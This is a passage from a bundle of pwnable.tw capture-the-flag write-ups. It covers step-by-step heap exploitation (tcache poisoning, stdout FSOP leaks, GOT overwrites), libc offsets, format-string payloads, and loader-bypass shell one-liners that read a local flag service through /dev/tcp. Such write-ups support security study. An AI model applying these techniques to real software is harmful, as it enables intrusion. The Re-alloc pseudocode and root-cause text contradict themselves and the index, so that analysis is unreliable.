bin**. This writes `main_arena` pointers (libc addresses) into the chunk's `fd`/`bk` fields.\n\n3. **Partial overwrite** the `fd` pointer (low 2 bytes) to redirect it to `_IO_2_1_stdout_` (or `stdout - 8`). Since libc is page-aligned, the 4th nibble (bits 12–15) is random → **1/16 bruteforce**.\n\n4. **Allocate at stdout** and overwrite its `_flags` to `0xfbad1800` and clear `_IO_read_ptr`, `_IO_read_end`, `_IO_read_base` to zero. The next `puts()` call (menu output) then leaks libc memory.\n\n5. **Compute libc base** from the leak: `libc_base = leaked_ptr - 0x1e7570`.\n\n6. **Tcache poison** a bin to point at `__free_hook - 8` (or `__realloc_hook`). Write `\"/bin/sh\\0\" + p64(system)` there.\n\n7. **Trigger**: `free(idx)` → `realloc(heap[idx], 0)` → `__realloc_hook(heap[idx], 0)` = `system(\"/bin/sh\")`.\n\n**Variant — Fake Chunk via Fill tcache + `malloc_consolidate`:** Some solutions fill the tcache for a given bin size to 7 entries (using repeated `realloc(0)/realloc(size)` UAF), then trigger `malloc_consolidate` by sending a long input (`\"1\" * 0x400`) to the menu. This merges fastbin chunks into smallbin, providing libc pointers without needing a fake large chunk.\n\n---\n\n### Path B — Tcache `perthread_struct` Poisoning (1/16 or 1/256)\n\n**Used by:** Solutions 821, 3480, 6247, 15522 (1/256 variant), 34817\n\n**Steps:**\n\n1. **Double-free** via UAF to get a tcache chunk whose `fd` can be overwritten.\n\n2. **Partial overwrite `fd`** with `\\x10\\x60` (or `\\x10\\x90`, `\\x10\\xa0` depending on heap layout) to point at the **`tcache_perthread_struct`** (heap offset ~0x10). This is a 1/16 bruteforce on the heap ASLR nibble.\n\n3. **Allocate the tcache struct** as a regular chunk → gain full control over all tcache bin counts and entry pointers.\n\n4. **Set all counts to 0xff** (or 0x07) → freeing any chunk now bypasses tcache and goes to unsorted bin (since tcache appears \"full\").\n\n5. **Free the tcache struct itself** → goes to unsorted bin → libc pointers land in the struct.\n\n6. **Partial overwrite** the unsorted bin `fd` to point at `_IO_2_1_stdout_` → FSOP leak (another 1/16 bruteforce, making total 1/256 for this path).\n\n7. Same finish as Path A: hook overwrite → shell.\n\n---\n\n### Path C — Fill Tcache via Repeated UAF + Smallbin Consolidation\n\n**Used by:** Solutions 9251, 26250, 34817\n\nA cleaner variant that avoids fake chunk sizes entirely:\n\n1. **Fill tcache** for a specific bin size to 7 entries using repeated `realloc(0)` + `realloc(size)` UAF cycles (each cycle frees the same chunk, but the `key` is cleared between frees).\n\n2. **Trigger `malloc_consolidate`** by sending an oversized menu input (`sla(\"choice: \", \"1\"*0x400)`). Fastbin chunks merge into smallbin → libc pointers appear.\n\n3. **UAF edit** the smallbin `fd` → partial overwrite to stdout → FSOP leak.\n\n4. Same finish: hook overwrite → shell.\n\n## Exploit Primitive Summary\n\n| Primitive | Source | Reliability |\n|-----------|--------|-------------|\n| UAF / Dangling pointer | V1: `realloc(ptr, 0)` returns NULL, slot not cleared | Deterministic |\n| Tcache fd overwrite | UAF + `realloc(idx, size, payload)` | Deterministic |\n| Double-free | UAF + clear `key` field + `realloc(idx, 0)` again | Deterministic |\n| Unsorted/smallbin libc pointers | Fake large chunk or fill tcache + consolidate | Deterministic (heap groom) |\n| Stdout FSOP leak | Partial overwrite fd → `_IO_2_1_stdout_` | **1/16 bruteforce** |\n| Tcache struct control | Partial overwrite fd → `tcache_perthread_struct` | **1/16 bruteforce** |\n| Arbitrary write | Tcache poisoning with 2-slot shrink trick | Deterministic after leak |\n| Code execution | `__free_hook = system` or `__realloc_hook = system/one_gadget` | Deterministic after arb write |\n\n## Offsets (glibc 2.29, Ubuntu 2.29-0ubuntu2)\n\n```python\n_IO_2_1_stdout_ = 0x1e5760\n_IO_file_jumps = 0x1e7570 # common leak delta\nsystem = 0x52fd0\n__free_hook = 0x1e75a8\n__realloc_hook = 0x1e4c28\n__malloc_hook = 0x1e4c30\nmain_arena_top = 0x1e4ca0\none_gadgets = [0xe21ce, 0xe21d1, 0xe21d4, 0xe237f, 0xe2383, 0x106ef8]\n```\n\n## Hook Targets Comparison\n\n| Target | How Triggered | Argument |\n|--------|--------------|----------|\n| `__free_hook` | `rfree(idx)` → `realloc(heap[idx], 0)` internally calls `free()` | `heap[idx]` (set to `\"/bin/sh\"`) |\n| `__realloc_hook` | Any `realloc()` call | `(heap[idx], size)` — first arg is the pointer |\n| `__malloc_hook` | `alloc(idx, size)` triggers `malloc()` | `size` argument (less useful) |\n\nMost solutions target `__free_hook - 8` and write `\"/bin/sh\\0\" + p64(system)`, then `free(idx)` calls `system(\"/bin/sh\")`. Some target `__realloc_hook` with a one_gadget instead.\n\n## Solution Write-ups\n\n| File | Path | Bruteforce | Key Technique |\n|------|------|-----------|---------------|\n| `exp.py` | A | 1/16 | Fake 0x431 chunk → unsorted bin → stdout partial overwrite |\n| `821.md` | B | 1/16 | Tcache struct poison → unsorted bin → stdout |\n| `1763.md` | A | 1/16 | Minimal tcache poison → stdout |\n| `2972.md` | A | 1/16 | Fake 0x4d1 chunk → partial overwrite stdout |\n| `3025.md` | A | 1/16 | Fake chunk + partial write `__free_hook` |\n| `3148.md` | A | 1/16 | Standard fake chunk + stdout FSOP |\n| `3480.md` | B | 1/16 | Tcache struct → unsorted bin → stdout; also 1/256 variant |\n| `6247.md` | A | 1/16 | Chunk spray + fake 0x811 → partial overwrite |\n| `6249.md` | A | 1/16 | Tcache struct control + fake unsorted chunk |\n| `6923.md` | A | 1/16 | Tcache struct + `__free_hook` overwrite |\n| `7905.md` | A | 1/16 | Detailed writeup with Chinese analysis; fake 0x431, stdout FSOP |\n| `8153.md` | A | 1/16 | Tricks writeup; 1/16 and 1/256 variants documented |\n| `9074.md` | A | 1/16 | Fake 0x91/0x81 chunk gymnastics → unsorted bin |\n| `9251.md` | A | 1/16 | tcache perthread struct + stdout overwrite |\n| `9448.md` | B | 1/256 | Double bruteforce: heap + libc nibbles |\n| `15522.md` | B | 1/256 | Tcache struct + unsorted bin + partial write |\n| `20719.md` | A | 1/16 | Fake 0xa1 chunk + fill tcache via UAF |\n| `26250.md` | C | 1/16 | Solve detailed with 0xe7 stdout offset |\n| `31599.md` | A | 1/16 | Clean solve, same struct as 3025 |\n| `34817.md` | C | 1/16 | Fill tcache + `malloc_consolidate` via long menu input |\n\n## Files\n\n| File | Description |\n|------|-------------|\n| `exp.py` | Working exploit (sockets-only, no pwntools, auto-retry bruteforce) |\n| `desc.txt` | Challenge description |\n| `artifacts/` | Original binary and libc |\n| `solution/*.md` | Community write-ups (51 solutions) |\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":11756,"content_sha256":"1c921711d2a50d49af81446099bb988e8fcf8817eb82b99980de1611bf11568b"},{"filename":"pwnable-tw/re_alloc.md","content":"---\ntags:\n - use-after-free\n - tcache-poisoning\n - got-overwrite\nplatform: pwnable.tw\npoints: 200\narch: x86-64\nlibc: glibc-2.29\nrelro: partial\ncanary: yes\nnx: yes\npie: no\nreferences:\n - https://pwnable.tw/challenge/\ndescription: \"Passing a zero size to realloc frees the chunk without clearing the pointer, enabling tcache poisoning in glibc 2.29 to overwrite GOT entries with system.\"\nproof-of-concept: no\n---\n\n# Re-alloc — pwnable.tw (200 pts)\n\n[← Back to pwnable.tw Challenge Index](README.md)\n\n> `nc chall.pwnable.tw 10106`\n\n## Challenge Overview\n\nA heap menu challenge (x86-64, Partial RELRO, NX, Stack Canary, **No PIE**, FORTIFY) built against **glibc 2.29**. The program provides allocate, reallocate, and free operations on two heap slots (`heap[0]` and `heap[1]`), using `realloc()` as the core allocator. The key insight is that `realloc(ptr, 0)` is equivalent to `free(ptr)` in glibc 2.29, but the program **does not clear the pointer** from the heap table — creating a Use-After-Free.\n\n```bash\nchecksec:\n Arch: amd64-64-little\n RELRO: Partial RELRO # GOT writable\n Stack: Canary found\n NX: NX enabled\n PIE: No PIE (0x400000)\n FORTIFY: Enabled\n```\n\n## Program Logic (Pseudocode)\n\n```c\nvoid *heap[2]; // global pointer table at 0x4040B0\n\nvoid allocate() {\n int idx = read_long(); // idx must be 0 or 1\n if (heap[idx]) { puts(\"...\"); return; }\n long size = read_long();\n heap[idx] = realloc(NULL, size); // equivalent to malloc(size)\n read_input(heap[idx], size); // read_input has off-by-null\n}\n\nvoid reallocate() {\n int idx = read_long();\n if (!heap[idx]) { puts(\"...\"); return; }\n long size = read_long();\n heap[idx] = realloc(heap[idx], size); // size=0 → free, but ptr stays!\n if (heap[idx])\n read_input(heap[idx], size);\n}\n\nvoid rfree() {\n int idx = read_long();\n if (!heap[idx]) { puts(\"...\"); return; }\n realloc(heap[idx], 0); // free, BUT heap[idx] NOT cleared!\n heap[idx] = NULL; // ... wait, it IS cleared here\n}\n\n// read_long uses __read_chk → atoll(buf) to parse integers\n```\n\n## Vulnerabilities\n\n### V1 — Use-After-Free via `realloc(ptr, 0)` in Reallocate\n\n**Root Cause:** In glibc 2.29, `realloc(ptr, 0)` frees the chunk and returns `NULL`. In `reallocate()`, the return value (`NULL`) is stored back into `heap[idx]`, zeroing the slot. However, `rfree()` also calls `realloc(ptr, 0)` — the crucial difference is that `reallocate()` **can be called again on the same index** because after the free, `heap[idx] = NULL`, and a subsequent `realloc(NULL, new_size)` is equivalent to `malloc(new_size)`.\n\nThe UAF arises from this sequence:\n```python\nalloc(0, 0x18, \"AAAA\") // heap[0] = chunk_A\nrealloc(0, 0) // free(chunk_A), heap[0] = NULL\n // chunk_A is now in tcache[0x20]\nrealloc(0, 0x18, payload) // realloc(NULL, 0x18) = malloc(0x18)\n // returns chunk_A (from tcache)\n // heap[0] = chunk_A again\n // payload overwrites tcache fd pointer\n```\n\nSince `alloc` checks `if (heap[idx])` to prevent double-allocation, but `realloc(0,0)` clears `heap[idx]`, you can effectively free a chunk while another slot still references the same memory (via careful slot juggling), achieving a classic **tcache poisoning** UAF.\n\n**Impact:** Arbitrary write via tcache fd pointer corruption → write to any address (e.g., GOT entries).\n\n### V2 — `atoll` GOT is Writable (Partial RELRO + No PIE)\n\n**Root Cause:** With Partial RELRO and no PIE, the GOT is at fixed known addresses. The `read_long()` function calls `atoll()` to convert user input strings to integers. By overwriting `atoll@GOT` with `printf@PLT`, every subsequent `read_long()` call becomes `printf(user_input)` — turning integer inputs into **format string attacks**.\n\n```text\nKey GOT/PLT addresses (fixed, no PIE):\n atoll@GOT = 0x404048\n printf@PLT = 0x401070\n realloc@GOT = 0x404058\n heap table = 0x4040B0\n```\n\n### V3 — Off-by-Null in `read_input` (Minor)\n\nThe `read_input` function null-terminates at `buf[size]`, writing one byte past the allocated region. This is generally not needed for the primary exploit but noted by some solvers.\n\n## Exploit Paths\n\nAll solutions follow a two-phase strategy: (1) use tcache poisoning to overwrite GOT, (2) leverage the GOT overwrite for leaks and shell.\n\n---\n\n### Path A — Tcache Poison → `atoll@GOT = printf` → Format String Leak → `atoll@GOT = system` → `system(\"/bin/sh\")`\n\n**Used by:** ~90% of solutions (1006, 1832, 16991, 17048, 17704, 18324, 18331, 18416, 19131, 21490, 21778, 22377, 25572, 26467, 28302, exp.py)\n\n**Phase 1: Tcache Poisoning to Overwrite `atoll@GOT`**\n\n1. Allocate a chunk on slot 0, free it via `realloc(0, 0)`, then `realloc(0, same_size, p64(atoll_got))` to overwrite the tcache fd pointer with `atoll@GOT`.\n2. Allocate on slot 1 to consume the original chunk from tcache.\n3. Clean up both slots (realloc to different sizes + free to move chunks to other bins).\n4. Now tcache for that size class has `atoll@GOT` as the next entry.\n5. Allocate again — the second allocation from this tcache returns a pointer to `atoll@GOT`.\n6. Write `printf@PLT` (0x401070) to `atoll@GOT`.\n\nMany solutions repeat this for **two different size classes** (e.g., 0x20 and 0x50 tcache bins) to have a clean second overwrite available later.\n\n**Phase 2: Format String Leak**\n\nWith `atoll@GOT` pointing to `printf`, every `read_long()` call now executes `printf(user_input)`:\n```python\n# Trigger printf as \"atoll\" — leak libc via format string\nfree(\"%3$p\") # printf(\"%3$p\") leaks a stack value\n# or\nfree(\"%21$p\") # leaks __libc_start_main return address\n# or\nfree(\"%23$p\") # another common offset for libc leak\n```\n\nCommon leak offsets from the stack:\n- `%3$p` → `__read_chk` return (offset `0x12e009` from libc base)\n- `%21$p` / `%23$p` → `__libc_start_main+235` (offset `0x26b6b` from libc base)\n- `%9$s` + GOT address → arbitrary read via `%s` format\n\n**Phase 3: Overwrite `atoll@GOT` with `system`**\n\nAfter leaking libc, overwrite `atoll@GOT` again with `system()`:\n\n```python\n# Since atoll is now printf, we need to carefully craft inputs\n# that make printf return the right values for idx/size\nalloc(\"\", \"%88c\", p64(libc.sym['system'])) # or similar trick\n```\n\nThe tricky part: `printf` is now the index/size parser, so its **return value** (number of chars printed) becomes the parsed integer. Solvers use format strings of specific lengths to control the \"index\" and \"size\" values.\n\n**Phase 4: Shell**\n\n```python\n# Any call to read_long() with \"/bin/sh\" now calls system(\"/bin/sh\")\nfree(\"/bin/sh\") # → system(\"/bin/sh\")\n```\n\n---\n\n### Path B — Tcache Poison → `realloc@GOT = printf` → Format String → ROP\n\n**Used by:** Solutions 1006 (variant), 27939\n\nInstead of overwriting `atoll@GOT`, overwrite `realloc@GOT` with `printf@PLT`. This makes every `reallocate()` call a format string attack, but requires more complex control flow since `realloc` is called with the heap pointer as the first argument (acting as the format string).\n\nSome solutions overwrite `realloc@GOT` with `atoll@PLT` (making realloc return a pointer based on the ASCII content at the heap address), enabling creative GOT pivoting.\n\nOne advanced variant (27939) uses this to pivot the stack via `leave; ret` gadgets and execute a full ROP chain.\n\n---\n\n### Path C — Tcache Poison → GOT Overwrite → `__malloc_hook = one_gadget`\n\n**Used by:** Solutions 18331, 18324\n\nAfter the initial `atoll → printf` overwrite, use `%n` format string writes to overwrite `__malloc_hook` with a one_gadget address. This avoids needing a second tcache poison:\n\n```python\n# Use %hn writes to set __malloc_hook byte-by-byte\nfree(\"%{}c%{}$hn\".format(low_2bytes, offset)) # write 2 bytes at a time\n```\n\nThen trigger `malloc` to jump to the one_gadget.\n\n---\n\n### Path D — `atoll → printf` + `%n` to Clear Heap Table → Second Tcache Poison\n\n**Used by:** exp.py (provided exploit)\n\n1. First tcache poison: `atoll@GOT = printf@PLT`.\n2. Use `printf(\"%9$n\", ...)` format strings to **zero out** the `heap[0]`/`heap[1]` table entries and tcache metadata, resetting the allocator state.\n3. Perform a **second** tcache poison (now with `printf` as `atoll`, using raw bytes for index/size).\n4. Overwrite `atoll@GOT` with `system`.\n5. `free(\"/bin/sh\")` → `system(\"/bin/sh\")`.\n\nThis approach is more complex but fully deterministic since it doesn't rely on `printf` return value tricks.\n\n## Exploit Primitive Summary\n\n| Primitive | Source | Reliability |\n|-----------|--------|-------------|\n| Use-After-Free | V1: `realloc(ptr, 0)` in reallocate | Deterministic |\n| Tcache fd poisoning | UAF → overwrite freed chunk's fd | Deterministic |\n| Arbitrary GOT write | Tcache returns pointer to GOT | Deterministic (no PIE) |\n| Format string (leak) | `atoll@GOT = printf` → `printf(user_input)` | Deterministic |\n| Format string (write) | `%n` / `%hn` writes via printf | Deterministic |\n| Code execution | `atoll@GOT = system` → `system(\"/bin/sh\")` | Deterministic |\n\n## Key Addresses (No PIE)\n\n```python\n# Binary (fixed)\natoll_got = 0x404048\nprintf_plt = 0x401070\nprintf_got = 0x404038\nrealloc_got = 0x404058\nalarm_got = 0x404040\nheap_table = 0x4040B0 # heap[0], heap[1]\n\n# Libc offsets (glibc 2.29, pwnable.tw)\n__libc_start_main = 0x26B6B # offset for %21$p leak\n__read_chk_ret = 0x12E009 # offset for %3$p leak\nsystem = 0x52FD0\n__malloc_hook = 0x1E4C30\n__free_hook = 0x1E6E48\none_gadgets = [0xE6E73, 0xE6E76, 0xE6E79, 0x106EF8]\n```\n\n## Solution Write-ups\n\n| File | Primary Path | Key Technique | Notes |\n|------|-------------|---------------|-------|\n| `1006.md` | A | tcache poison → printf → one_gadget via realloc GOT | Uses GOT table as format string buffer |\n| `1763.md` | — | \"Same exploit with re-alloc-revenge\" | Reference only |\n| `1832.md` | A | tcache poison → printf leak → system | Clean approach with `%15$p` leak |\n| `16609.md` | A | prepare() helper for clean tcache state | Well-structured helper functions |\n| `16991.md` | A | Two-bin tcache poison + `%9$s` GOT read | Reads GOT entries directly via `%s` |\n| `17048.md` | B | Overwrites alarm/atoll/signal/realloc GOT simultaneously | Creative multi-GOT overwrite |\n| `17704.md` | A | `atoll → printf`, `%15$p` leak, system overwrite | Compact; overwrites realloc GOT to regain control |\n| `18324.md` | A+C | `%n` format writes to `__malloc_hook` | Byte-by-byte one_gadget write |\n| `18331.md` | A | Concise vuln analysis + exploit | Notes off-by-null and UAF |\n| `18416.md` | A | Two-size-class tcache poison | Double tcache attack for 0x20 and 0x50 bins |\n| `19131.md` | A | `%9$s` to read GOT, then system | Direct GOT leak via format string |\n| `21490.md` | A | Standard approach | Clear code |\n| `21778.md` | A | Notes \"preparation\" difficulty | Honest about copying the tcache setup |\n| `22377.md` | A | Two-bin poison (0x30 + 0x60) | `%3$p` leak at offset 0x12e009 |\n| `25572.md` | A | Stack leak enumeration loop | Scans all stack offsets to find libc |\n| `26467.md` | A | `%p` chain leak, `%15c` for size control | Minimal approach |\n| `27939.md` | B | GOT pivot + stack pivot + ROP chain | Most complex; full ROP via leave/ret |\n| `28302.md` | A | Format string GOT overwrite + `%n` | Detailed stack offset analysis |\n| `exp.py` | D | `%n` to clear state → second tcache poison | Most robust; fully deterministic |\n\n## Files\n\n| File | Description |\n|------|-------------|\n| `exp.py` | Working exploit script (tcache poison + fmt string + second poison) |\n| `desc.txt` | Challenge description |\n| `artifacts/re-alloc` | Challenge binary (x86-64, glibc 2.29) |\n| `solution/*.md` | Community write-ups (83 solutions) |\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":11873,"content_sha256":"9766f1b10b8e5e64ecd97c8cad7b29dded8e48d2416fc5a4c6a4a3460b30dc8c"},{"filename":"pwnable-tw/README.md","content":"# pwnable.tw Challenge Directory\n\nCanonical directory of all 43 binary exploitation challenge writeups from `pwnable.tw`. Each row details the target environment, protections, taxonomy tags, observed diagnostic triggers, root cause defects, multiple concrete exploitation chains, and key exploitation symbols/gadgets.\n\n| Challenge | Points | Arch | Libc | Protections | Tags | Observed Clues & Triggers | Root Cause Defects | Exploitation Chains & Keywords |\n|---|---|---|---|---|---|---|---|---|\n| [`orw`](orw.md) | 100 | i386 | static | Partial RELRO, Canary, NX disabled, No PIE | `shellcode`, `seccomp-bypass` | i386 ELF; RWX BSS buffer executes user shellcode; seccomp filter restricts syscalls to open, read, write. | Program reads 200 bytes from stdin directly into an executable BSS buffer (`shellcode` at `0x0804a060`) and executes it as a function pointer (`((void(*)())shellcode)();`). A seccomp BPF filter (`PR_SET_SECCOMP`) blocks `execve` (11) and socket syscalls, whitelisting only `sys_open` (5), `sys_read` (3), `sys_write` (4), and `sys_exit` (1). | • **Path A (Direct ORW Assembly):** Push `/home/orw/flag` onto stack; invoke `sys_open(esp, O_RDONLY=0, 0)` returning fd 3; invoke `sys_read(3, esp, 0x30)` reading flag into stack buffer; invoke `sys_write(1, esp, 0x30)` printing flag to stdout.\u003cbr>• **Path B (x32 / Syscall Alternatives):** Bypasses via alternate syscall offsets or seccomp boundary conditions.\u003cbr>\u003cbr>**Keywords:** `seccomp BPF`, `PR_SET_SECCOMP`, `sys_open` (5), `sys_read` (3), `sys_write` (4), RWX BSS, `/home/orw/flag`, `int 0x80`, shellcode injection |\n| [`start`](start.md) | 100 | i386 | static | No RELRO, No Canary, NX disabled, No PIE | `stack-buffer-overflow`, `information-leak`, `shellcode` | Minimal 32-bit ELF in raw x86 assembly (no libc); reads 60 bytes into 20-byte stack buffer. | Handwritten assembly routine (`_start` at `0x08048060`) allocates 20 bytes on stack (`esp-0x14`), executes `sys_write(1, msg, 0x38)` then `sys_read(0, esp, 0x3c)`. Reading 60 bytes into a 20-byte buffer allows a 40-byte stack buffer overflow directly overwriting the saved return address. Stack memory is marked RWX (no NX, no canary). | • **Path A (ESP Leak + Ret-to-Stack Shellcode):** Overwrite return address with `0x08048087` (`mov ecx, esp; mov dl, 0x14; mov bl, 1; mov al, 4; int 0x80`) to leak current ESP pointer via `sys_write`; payload 2 sends 20 bytes padding + `leaked_esp + 20` + 23-byte `/bin/sh` shellcode.\u003cbr>• **Path B (Shellcode Before Return):** Place shellcode in the buffer before the return address and jump backwards using negative offset gadgets.\u003cbr>\u003cbr>**Keywords:** `_start`, raw x86 assembly, `sys_write`, `sys_read`, stack leak, ESP relative offset, RWX stack, shellcode injection, `int 0x80` |\n| [`3x17`](3x17.md) | 150 | x86-64 | static | Partial RELRO, No Canary, NX, No PIE | `arbitrary-write`, `fini-array-overwrite`, `rop`, `static-binary` | Static stripped x86-64 ELF; prompts for address and 24 data bytes once, then exits; no leak, no canary. | `main` (0x401B6D) parses an address as decimal via `strtoul`, reads exactly 24 bytes of data, and performs `memcpy(addr, buf, 24)`. A global byte guard at `0x4B9330` prevents re-entering `main`. However, `.fini_array` at `0x4B40F0` is writable (Partial RELRO, no PIE) and is executed in reverse order by `__libc_csu_fini` upon process exit. | • **Path A (.fini_array Loop + ROP at .fini_array+0x10):** Overwrite `.fini_array[0] = __libc_csu_fini` (0x402960) and `.fini_array[1] = main` (0x401B6D). When `__libc_csu_fini` runs, it calls `main` (granting an extra 24-byte write) then `__libc_csu_fini` (looping exit handlers infinitely). Use subsequent writes to write a static ROP chain at `.fini_array+0x10`. Finally overwrite `.fini_array[0] = leave; ret` (0x401C4B). Because `__libc_csu_fini` leaves `rbp = 0x4B40F0`, `leave; ret` pivots RSP to `0x4B40F8`, executing static `execve(\"/bin/sh\", 0, 0)` ROP chain.\u003cbr>• **Path B (Data Segment ROPgadget Auto-Chain):** Write ROP chain into BSS data segment and pivot stack via `pop rsp`.\u003cbr>\u003cbr>**Keywords:** `strtoul`, `memcpy`, `.fini_array` (`0x4B40F0`), `__libc_csu_fini` (`0x402960`), guard (`0x4B9330`), `leave; ret` pivot, static ROP, `execve` |\n| [`calc`](calc.md) | 150 | i386 | static | Partial RELRO, Canary, NX, No PIE | `integer-underflow`, `stack-buffer-overflow`, `rop`, `static-binary` | Static 32-bit ELF; math expression parser with operand/operator stacks; zero token bug. | Expression parser maintains operand stack `numbers[100]` on stack with index `count`. When encountering operators with empty tokens or zero, the parser decrements or increments `count` without pushing an operand. Supplying expressions like `+360` accesses `numbers[360]`, indexing out-of-bounds directly into `calc`'s saved return address and stack frame. | • **Path A (Arbitrary Stack R/W to Static ROP Chain):** Querying `+\u003cindex>` reads 4-byte stack integer at `numbers[\u003cindex>]`; sending `+\u003cindex>+\u003cdiff>` or `+\u003cindex>-\u003cdiff>` overwrites `numbers[\u003cindex>]` with arbitrary 32-bit values. Overwrite saved return address at index 361 and subsequent stack slots with ROP gadgets: `pop eax; ret` (0x0805c34b), 11 (sys_execve), `pop edx; ret` (0), `pop ecx; pop ebx; ret` (0, BSS address of \"/bin/sh\"), `int 0x80`. Send empty line `\\n` to return from `calc` and trigger shell.\u003cbr>• **Path B (mprotect RWX Shellcode):** Write ROP chain to call `mprotect()` on stack/BSS, pivot to shellcode.\u003cbr>\u003cbr>**Keywords:** expression parser, token index underflow, operand pool, index 361, arbitrary stack AAR/AAW, static ROP, `sys_execve`, `int 0x80` |\n| [`hacknote`](hacknote.md) | 150 | i386 | glibc-2.23 | Partial RELRO, Canary, NX, No PIE | `use-after-free`, `got-overwrite`, `ret2libc` | i386 glibc 2.23; note system with 8-byte metadata chunk holding function pointer and data pointer. | Notes are represented by 8-byte metadata chunks: `[print_func_ptr (4 bytes) | content_ptr (4 bytes)]`. `delete_note` calls `free(note->content)` and `free(note)`, but does NOT set the global pointer in `note_list[i]` to NULL, creating a classic Use-After-Free (UAF). | • **Path A (Fastbin UAF Reclamation + Function Pointer Overwrite):** Allocate note 0 and note 1 with size > 8. Delete note 0 then note 1 (8-byte note structs placed in 0x10 fastbin freelist). Allocate note 2 with content size 8: allocator reuses note 0's metadata chunk for note 2's content. Write `puts@plt` and `puts@got` into content; call `print_note(0)` to trigger `print_func_ptr(content_ptr)`, leaking libc base. Delete note 2, reallocate note 3 with size 8 containing `system` address and string `\";sh\\0\"`. Call `print_note(0)` to invoke `system(\"...;sh\")`.\u003cbr>• **Path B (Direct Argument Pointer):** Overwrite function pointer with `system` and content pointer pointing to `\"sh\"`.\u003cbr>\u003cbr>**Keywords:** Use-After-Free (UAF), fastbin 0x10, note metadata struct, function pointer overwrite, `puts@plt`, `puts@got`, `system`, `\";sh\"` |\n| [`bash`](bash.md) | 200 | x86-64 | glibc-2.23 | Partial RELRO, Canary, NX, No PIE | `logic-flaw`, `race-condition`, `command-injection` | Restricted interactive bash 4.3.0; `chmod o-x` on binaries; flag service on 127.0.0.1:1337. | Low-privilege interactive bash 4.3.0 environment where `/bin/*`, `/sbin/*`, `/usr/bin/*` have `chmod o-x` (only `cat` and `ls` retain `o+x`). Flag at `/flag` is root-owned 400; root xinetd listens on `127.0.0.1:1337`. Custom bash lacks `/dev/tcp`. W1 (Unintended): `/lib64/ld-linux-x86-64.so.2` retains world-execute (`o+x`). W2 (Intended): CVE-2016-9401 in bash `popd` builtin where negative offsets trigger uncontrolled `free()`. W3: `/proc/self/mem` is writable. | • **Path A (ld.so Loader Bypass + System Bash /dev/tcp):** Use loader to execute the system `/bin/bash` (which has net redirections): `/lib64/ld-linux-x86-64.so.2 /bin/bash -c \"cat \u003c /dev/tcp/127.0.0.1/1337\"`.\u003cbr>• **Path B (ld.so + Perl/Python/Awk Sockets):** Run perl or python via loader: `/lib64/ld-linux-x86-64.so.2 /usr/bin/perl -e 'use IO::Socket; $s=IO::Socket::INET->new(\"127.0.0.1:1337\"); print \u003c$s>;'`.\u003cbr>• **Path C (Intended CVE-2016-9401 In-Process Free):** Exploit `popd` UAF to corrupt bash internal heap and call libc `socket()`/`connect()` in-process without spawning binaries.\u003cbr>• **Path D (/proc/self/mem Code Overwrite):** Open `/proc/self/mem` (`exec 3>/proc/self/mem`), use loader-launched `dd` to overwrite `echo` builtin code with shellcode, execute `echo`.\u003cbr>\u003cbr>**Keywords:** `ld-linux-x86-64.so.2`, loader execution bypass, `CVE-2016-9401`, `popd` UAF, `/dev/tcp`, `/proc/self/mem`, xinetd port 1337, socket connect |\n| [`criticalheap`](criticalheap.md) | 200 | x86-64 | glibc-2.23 | Full RELRO, Canary, NX, No PIE | `type-confusion`, `arbitrary-write`, `shellcode` | x86-64 glibc 2.23; system vs normal heap objects; `TZ` read via `localtime`; safe format read. | Heap structures support 3 types: Normal (content buffer), System (stores `name`, `value` pointers), and Secret. `delete_heap` frees memory without clearing pointers, causing type confusion and UAF. Furthermore, `play_system` uses FORTIFY-safe `__printf_chk`, but `localtime()` evaluates user-controlled `TZ` environment variable, copying file content into heap memory. Additionally, `set_content` with `realpath(buf, buf)` can overflow small heap chunks. | • **Path A (TZ Environment File Read + Decoy Flag Leak):** Set `TZ` environment variable to `/home/criticalheap/flag` via system heap item; calling `localtime()` causes glibc to read the file into heap memory. Use format string or heap show to read the flag.\u003cbr>• **Path B (Realpath Heap Overflow + Shellcode RWX Page):** Realloc `name` buffer, trigger `realpath` off-heap buffer overflow, corrupt chunk metadata to gain arbitrary write into an mmapped RWX page or overwrite `__malloc_hook`.\u003cbr>\u003cbr>**Keywords:** `TZ` environment variable, `localtime()`, `__printf_chk` format read, type confusion, UAF, `realpath(buf, buf)` overflow, RWX page, glibc 2.23 |\n| [`re_alloc`](re_alloc.md) | 200 | x86-64 | glibc-2.29 | Partial RELRO, Canary, NX, No PIE | `use-after-free`, `tcache-poisoning`, `got-overwrite` | x86-64 glibc 2.29; wrapper around `realloc()`; two allocation slots; Partial RELRO. | Target allows allocating, reallocating, and freeing 2 heap buffers. In `reallocate()`, calling `realloc(ptr, 0)` invokes `free(ptr)` under glibc 2.29, but the program does NOT clear the pointer if return is NULL, leaving a dangling pointer in the slot array. Partial RELRO allows GOT overwrites. | • **Path A (Tcache Poisoning → atoll@GOT Overwrite to printf then system):** `realloc(A, 0)` frees chunk A into tcache; `reallocate(A, 0x20, &atoll@got)` overwrites tcache `next` pointer with `atoll@GOT`. Allocate chunks to receive `atoll@GOT` chunk. Overwrite `atoll@GOT` with `printf@plt`. Input `%p` format strings to leak libc base. Re-poison tcache to overwrite `atoll@GOT` with `system`. Input `\"/bin/sh\"` to trigger `system(\"/bin/sh\")`.\u003cbr>• **Path B (Realloc GOT to printf + ROP):** Overwrite `realloc@GOT` with `printf` to achieve stack leak and ROP.\u003cbr>• **Path C (Tcache Poison to __malloc_hook):** Overwrite `__malloc_hook` with one_gadget.\u003cbr>\u003cbr>**Keywords:** `realloc(ptr, 0)` as free, glibc 2.29 tcache, tcache poisoning, `atoll@GOT`, `printf@plt` format leak, `system`, Partial RELRO |\n| [`silver_bullet`](silver_bullet.md) | 200 | i386 | glibc-2.23 | Partial RELRO, No Canary, NX, No PIE | `off-by-one`, `stack-buffer-overflow`, `ret2libc` | i386 glibc 2.23; bullet power accumulation using `strncat`; buffer adjacent to length integer. | `create_bullet` reads up to 48 bytes into a 48-byte stack buffer and writes length into an integer `power` immediately following the buffer. `power_up` uses `strncat(buf, desc, 48 - power)`: `strncat` appends user data and ALWAYS writes a terminating NUL byte past the appended string. If `power` is 47, reading 1 byte appends 1 byte + 1 NUL byte, writing `\\x00` into `power` (`power = 0`). | • **Path A (strncat Length Reset + ret2plt Leak + ret2libc):** Create bullet with 47 bytes (`power = 47`). Call `power_up` with 1 byte: `strncat` writes 1 byte + null terminator, resetting `power` to 0 while buffer now has 48 bytes. Call `power_up` a second time with 48 bytes: `48 - power = 48` bytes read, overflowing past saved EBP and return address. Overwrite return address with `puts@plt`, `main`, and `puts@got` argument. Beat the werewolf, trigger 